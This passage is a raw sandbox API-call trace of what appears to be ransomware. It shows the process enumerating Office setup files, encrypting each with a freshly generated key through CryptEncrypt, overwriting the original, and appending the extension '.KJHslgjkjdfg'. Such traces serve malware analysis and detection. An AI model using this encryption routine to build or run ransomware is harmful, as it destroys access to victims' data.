dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0169.789] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0169.790] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0169.790] GetProcessHeap () returned 0x2ef0000 [0169.790] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2cc) returned 0x2f47728 [0169.790] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0169.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.791] GetProcessHeap () returned 0x2ef0000 [0169.791] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0169.791] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0169.791] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0169.791] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xb, lpOverlapped=0x0) returned 1 [0169.793] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.793] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.793] GetProcessHeap () returned 0x2ef0000 [0169.793] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0169.794] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0169.794] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.794] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0169.794] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0169.794] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0169.794] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0169.794] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0169.794] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0169.795] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.795] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.795] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.795] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x91975, lpOverlapped=0x0) returned 1 [0169.897] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x91980, dwBufLen=0x91980 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x91980) returned 1 [0169.954] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.955] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x91980, lpOverlapped=0x0) returned 1 [0169.957] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.957] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x91a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.957] SetEndOfFile (hFile=0x118) returned 1 [0169.961] GetProcessHeap () returned 0x2ef0000 [0169.961] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0169.961] GetProcessHeap () returned 0x2ef0000 [0169.962] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0169.962] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.kjhslgjkjdfg")) returned 1 [0169.962] CloseHandle (hObject=0x118) returned 1 [0169.962] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0169.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.964] GetProcessHeap () returned 0x2ef0000 [0169.964] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0169.964] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0169.964] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0169.964] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xc, lpOverlapped=0x0) returned 1 [0169.966] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.966] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.966] GetProcessHeap () returned 0x2ef0000 [0169.966] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0169.966] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0169.966] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.966] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0169.966] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0169.966] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0169.967] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0169.967] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0169.967] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0169.967] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.967] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.967] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.967] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x11644, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x11644, lpOverlapped=0x0) returned 1 [0169.969] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x11650, dwBufLen=0x11650 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x11650) returned 1 [0169.970] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.970] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x11650, lpOverlapped=0x0) returned 1 [0169.970] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.970] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x11714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.970] SetEndOfFile (hFile=0x118) returned 1 [0169.973] GetProcessHeap () returned 0x2ef0000 [0169.973] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0169.974] GetProcessHeap () returned 0x2ef0000 [0169.974] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0169.974] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.kjhslgjkjdfg")) returned 1 [0169.974] CloseHandle (hObject=0x118) returned 1 [0169.975] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0169.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.975] GetProcessHeap () returned 0x2ef0000 [0169.975] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0169.975] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0169.975] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0169.975] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xb, lpOverlapped=0x0) returned 1 [0169.978] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.978] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.978] GetProcessHeap () returned 0x2ef0000 [0169.978] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0169.978] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0169.978] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.978] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0169.978] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0169.978] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0169.978] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0169.978] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0169.979] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0169.979] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.979] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.979] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.979] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x15b5, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x15b5, lpOverlapped=0x0) returned 1 [0169.980] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x15c0, dwBufLen=0x15c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x15c0) returned 1 [0169.980] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.980] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x15c0, lpOverlapped=0x0) returned 1 [0169.980] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.980] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.980] SetEndOfFile (hFile=0x118) returned 1 [0169.983] GetProcessHeap () returned 0x2ef0000 [0169.983] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0169.983] GetProcessHeap () returned 0x2ef0000 [0169.983] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0169.983] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.kjhslgjkjdfg")) returned 1 [0169.986] CloseHandle (hObject=0x118) returned 1 [0169.986] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1 [0169.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.987] GetProcessHeap () returned 0x2ef0000 [0169.987] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0169.987] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0169.987] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0169.987] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xd, lpOverlapped=0x0) returned 1 [0169.989] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.989] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.989] GetProcessHeap () returned 0x2ef0000 [0169.989] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0169.989] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0169.989] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.989] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0169.990] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0169.990] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0169.990] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0169.990] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0169.990] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0169.990] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.990] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.990] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.990] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x333, lpOverlapped=0x0) returned 1 [0169.991] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x340, dwBufLen=0x340 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x340) returned 1 [0169.991] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.991] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x340, lpOverlapped=0x0) returned 1 [0169.991] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.991] SetFilePointerEx (in: hFile=0x118, 